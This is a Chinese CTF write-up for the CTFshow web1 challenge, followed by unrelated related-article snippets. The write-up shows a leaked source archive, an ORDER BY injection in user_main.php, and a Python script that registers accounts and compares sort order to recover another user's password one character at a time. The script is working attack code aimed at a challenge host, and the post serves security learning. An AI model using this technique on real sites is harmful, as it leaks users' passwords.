CTFshow web1

2023-11-07

打开是一个登录界面

用御剑扫描一下网站目录,发现有一个www.zip可以被正常访问到

访问,www.zip被下载,里边是网站的源码

login.php(登录页)中能禁的基本都禁干净了,登录页面貌似没有注入的可能。

reg.php(注册页)也是如此,所以注册页面也没可能了。

剩下最后一个user_main.php就是显示信息的页面了。这里可以看到在数据库中是把所有的字段都给查出来。

<?php
    
    if(isset($_SESSION["login"]) && $_SESSION["login"] === true){
        $con = mysqli_connect("localhost","root","root","web15");
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        $order=$_GET['order'];
        if(isset($order) && strlen($order)<6){
            if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i",$order)){
                die("error");
            }
            $sql="select * from user order by $order";
        }else{
            $sql="select * from user order by id";
        }   

?>

查出来后显示,但是没有显示密码。

可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的,这时我们就可以判断密码的第一个字符为f,手工的话会比较麻烦,所以需要用到大神的python脚本去跑,大神最后使用的方法是index,因为我用的时候总是报错ValueError: substring not found,所以把方法改成了find

import requests
url="http://597ea336-a259-48ce-9337-3f1b9cdb8ada.challenge.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.find("<td>"+l+"</td>")>t.find("<td>flag@ctf.show</td>")):
            k=l2
            print(k)
            break

跑一下脚本,不知道为啥最后一位跑成了|,给他改成},成功获得flag

成功获取到flag:

ctfshow{829726ad-ae4a-443c-b8c8-0857d98c6e21}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFshow web1 的相关文章

  • 如何确定 n 高数字金字塔中的最大路线成本

    我有一个像这样的数字金字塔 7 4 8 1 8 9 2 4 6 7 4 6 7 4 9 4 9 7 3 8 8 routes 32 每个数字都按其系列中的强大程度进行索引 0 9 gt 1 1 8 gt 5 2 8 gt 4 3 7 gt
  • HTML 表单 POST 到 PHP 页面 [关闭]

    这个问题不太可能对任何未来的访客有帮助 它只与一个较小的地理区域 一个特定的时间点或一个非常狭窄的情况相关 通常不适用于全世界的互联网受众 为了帮助使这个问题更广泛地适用 访问帮助中心 help reopen questions 好的 我创
  • 将 jQuery 数组字符串转换为 PHP 数组

    首先 我得说我对 PHP 还很陌生 我正在尝试获取一个可以使用 foreach 的 PHP 对象 以下字符串通过 ajax 传递 我正在尝试转动以下字符串 menu title TEST1 href title TEST2 href QWE
  • Instagram 如何使用 Amazon S3?

    在将文件上传到 Amazon S3 时 我需要深入了解 Instagram 的工程 我刚刚开始使用 S3 我认为 Instagram 是一个值得效仿的好模式 因为他们每天上传数千张图片 我的应用程序有点相似 用户上传图片 可以删除自己的图片
  • 基于 PHP 的 CSV 编辑器? [关闭]

    Closed 此问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 有谁知道用 PHP 编写的在线 CSV 编辑器允许用户打开 编辑和保存给定的 CSV 文件 我能找到的只
  • mongodb对话系统

    我正在实施一个verymongodb 上的简单对话系统 这个想法应该是 当我打开一个 convo 时 它应该显示发送和接收的消息 到目前为止一切正常 并且应该非常容易 通过使用像这样的伪代码这样的简单查询 from my id AND to
  • Symfony php.ini Debian

    我在 Oracle VM VirtualBox 上使用 Debian 7 amd64 LAMP 服务器 我正在尝试安装 Symfony 但遇到了一些小问题 当我运行命令时 php my project name app check php
  • xdebug_start_trace 行为异常

    我正在尝试进一步减少脚本内存使用量 我试图让我的脚本使用 xdebug 生成输出来分析内存使用情况 这是一个基于 CLI 的脚本 有 shebang usr local bin php q 我向它传递一个参数并检查它 argc gt 1 i
  • 将 SQL 中的数据存储在数组中

    我正在尝试将 sql 数据库中的数据存储到数组中 目前我有这个 query mysql query SELECT FROM InspEmail WHERE Company LIKE company while row mysql fetch
  • 如何将 ctype_alpha 与 UTF-8 结合使用

    如何将 ctype alpha 与 UTF 8 一起使用 我有这个代码 if empty POST false if isset POST first name empty POST first name if ctype alpha PO
  • 如何在javascript中使用自动递增id?

  • 如何在 Laravel 5 中处理嵌套的 JSON 对象请求?

    我们在 Laravel 5 和 AngularJs Ionic 中运行此 Web 服务来处理 Web 当我们将请求从 Web 客户端 发送到 Web 服务 后端 时 我们传递了嵌套的 JSON 对象 我们在读取服务器端父对象下的所有子对象时
  • 登录后所有页面都应该是https吗?

    这有点难以解释 但我会尽力 有一个网站 每个页面上都有登录表单 其中包含用户名 密码字段 这些页面未使用 SSL 用户填写用户名 密码并提交表单后 表单将被发送到 https 的身份验证页面 对于这种情况我有几个疑问 向 https 页面提
  • Yii2 DropDownList Onchange 更改自动完成小部件“源”属性?

    我已经尝试过这个 yii2 依赖的自动完成小部件 https stackoverflow com questions 27025791 yii2 dependent autocomplete widget 但我不知道为什么它不起作用 这是我
  • cURL '格式错误的网址'

    This url 在浏览器中工作得很好 但 cURL 返回错误 3 格式错误的 url 关于解决方法有什么想法吗 EDIT 卷曲代码 function get web page url options array CURLOPT RETUR
  • 如何在 joomla 模块中通过 javascript 发送输入文件类型

    我想将带有 javascript 的文件发送到 php 文件 我的 php 文件中有这个表单
  • 避免 SQLite3 中的 SQL 注入

    我正在尝试找出一种避免 SQL 注入的好简单方法 到目前为止我只能提出两个想法 对用户输入进行 Base64 编码 其实不想这样做 使用正则表达式删除不需要的字符 目前正在使用这个 不确定是否100 安全 这是我当前的代码
  • 从多个选择列表中插入数据到mysql数据库(html形式)

    我制作了一个表格 其中有商店的 ID
  • 转换MAC地址格式

    我刚刚编写了一个小脚本 从交换机中提取数百个 MAC 地址进行比较 但它们的格式为 0025 9073 3014 而不是标准的 00 25 90 73 30 14 我对如何转换它感到困惑 我能想到的最好的办法就是在 处将它们分解成碎片 然后
  • PHP 除法浮点值问题

    当我尝试获取余数时 它给出了无效值 我试图获得两位小数的余数 我得到 3 4694469519536E 18 我的价值观是 x 0 1 y 0 005 我尝试了以下方法 echo ed fmod 0 1 0 005 OutPut 3 469

随机推荐

  • 2020-12-27

    海盗分金币 题目 代码 题目 有5个海盗 相约进行一次帆船比赛 比赛中天气发生突变 他们被冲散了 恰巧 他们都先后经过途中的一个无名的荒岛 并且每个人都信心满满 觉得自己是第一个经过该岛的人 第一个人在沙滩上发现了一堆金币 他把金币分成5等
  • SAP ABAP ME23N 采购订单打印输出

    本人诚心接ABAP远程开发任务 价格公道 有需要的联系我 欢迎个人 甲方爸爸 乙方私信联系 完成的功能是ME23N 点击打印预览 客制化用户自己的打印模板 首先需要先配置打印输出 路径 spro gt 物料管理 gt 采购 gt 消息 gt
  • 【SQL Server DBA】日常巡检2:windows性能监控器

    性能监视器的各类指标 一 内存指标 1 Windows层面上的内存使用检查在检查SQL Server内存使用之前 DBA必须首先检查一下Windows层面的内存使用情况 Windows层面没有明显的内存压力 是SQL Server正常运行的
  • Github Blame、History 按钮什么意思?

    Github Blame History 按钮 是啥意思 blame 按行显示最新提交的信息 The blame command is a Git feature designed to help you determine who mad
  • percent percentile percentage有什么区别

    percent 百分之几 My mobile phone battery is currently at 10 percent 我的手机电池目前还有10 percentage 百分比 The percentage of students w
  • JetBrains IDE使用(更新中)

    简介 JetBrains IDE是JetBrains公司推出的IDE Integreated Development Environment 集成开发环境 包括IntelliJ IDEA PyCharm WebStorm等 该公司旗下的ID
  • 说说webpack中常见的Plugin?解决了什么问题?

    提示 文章写完后 目录可以自动生成 如何生成可参考右边的帮助文档 文章目录 一 webpack中的 Plugin 是什么 二 配置方式 1 通过配置文件导出对象中plugins属性传入new实例对象 如下所示 三 常见的Plugin 总结
  • uniapp ios圆角溢出不影藏的问题

    代码 list img position relative z index 1 overflow hidden height 154px text align center border radius 5px border 1px soli
  • Firefox报错——Gah. Your tab just crashed.

    Firefox报错 Gah Your tab just crashed 使用kali内置的firefox的时候报错了 看了一下好像没有可执行文件了 可能不小心删了吧 早看内置的不爽了 正好下个新的 在Kali官网下载linux的安装包 链接
  • 运算符

    文章目录 一 算术运算符 1 基本四则运算符有 加 减 乘 除 求余或求模 2 增量赋值运算符有 3 自增 自减运算符 二 关系运算符 关系运算符主要有 lt gt lt gt 三 逻辑运算符 逻辑运算符主要有 逻辑与 逻辑或 逻辑非 四
  • 安装配置mariadb

    记录下安装配置mariadb的经历 环境 ubuntu22 一 apt在线安装 apt代理配置 APT是Ubuntu系统中用于安装和升级软件包的工具 如果本地没有可用的软件包 APT将会连接到远程软件包服务器下载软件包 在某些情况下 用户需
  • 信息熵(Entropy)到底是用来衡量什么的?

    信息熵 Entropy 到底是用来衡量什么的 与Philip ZHANG商榷 思明 中国研究 zgyj1999 xiamian htm
  • 学习MQTT QoS的原理与应用

    MQTT QoS的原理与应用 学习QoS的原理与应用 文章目录 MQTT QoS的原理与应用 一 什么是服务质量 2 设置QoS 3 服务质量降级 4 使用步骤 1 引入PubSubClient库 二 保留消息 保留消息得到介绍 保留消息应
  • SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+

    1 SQLI LABS专有靶场搭建 1 1 SQLI LABS下载 SQLI LABS 是一个学习 SQL 注入的实验平台 下载地址 https github com Audi 1 sqli labs 1 2 Lamp环境搭建 在cento
  • seq2seq attentio

    encoder和decoder中的注意力机制 注意力机制的核心思想 在decoder的每一步 把encoder中的 所有向量提供给decoder模型 让decode根据自己当前的情况来选择自己需要的信息 例子 h1 2 3 是encoder
  • android 获取程序目录结构,Android开发程序的目录结构详解

    第一部分 c c 代码 Android系统源代码目录里面 hardware ril 目录包含了所有有关于telephony的底层代码 1 目录架构 20101215的git版本 ril CleanSpec mk include teleph
  • 关于fgets()函数的使用方法

    在读取字符串时 scanf 和转换说明符 s只能读取一个单词 gets 函数简单易用 它读取整行输入 直至遇到换行符 然后丢弃换行符 存储其余字符 并在这些字符的末尾添加一个空字符使其成为一个C字符串 但是出现一个问题 gets 函数无法检
  • VUE element-ui之form表单中input输入超过规定长度error提醒,并实时显示输入长度,可无限输入

    需求 输入超过规定长度error提醒 并实时显示输入长度 可无限输入 步骤 我的项目中使用校验比较多 所以进行简单的封装 新建js文件写入下面的函数 export function valieTextLength rule value ca
  • 第七章 React组件API

    在React中 常见的React组件API包含如下 1 设置状态 setState 2 替换状态 replaceState 3 强制更新 forceUpdate 要调用组件上的API 首先需要获取对组件的引用 在组件方法内部可以通过this
  • CTFshow web1

    打开是一个登录界面 用御剑扫描一下网站目录 发现有一个www zip可以被正常访问到 访问 www zip被下载 里边是网站的源码 login php 登录页 中能禁的基本都禁干净了 登录页面貌似没有注入的可能 reg php 注册页 也是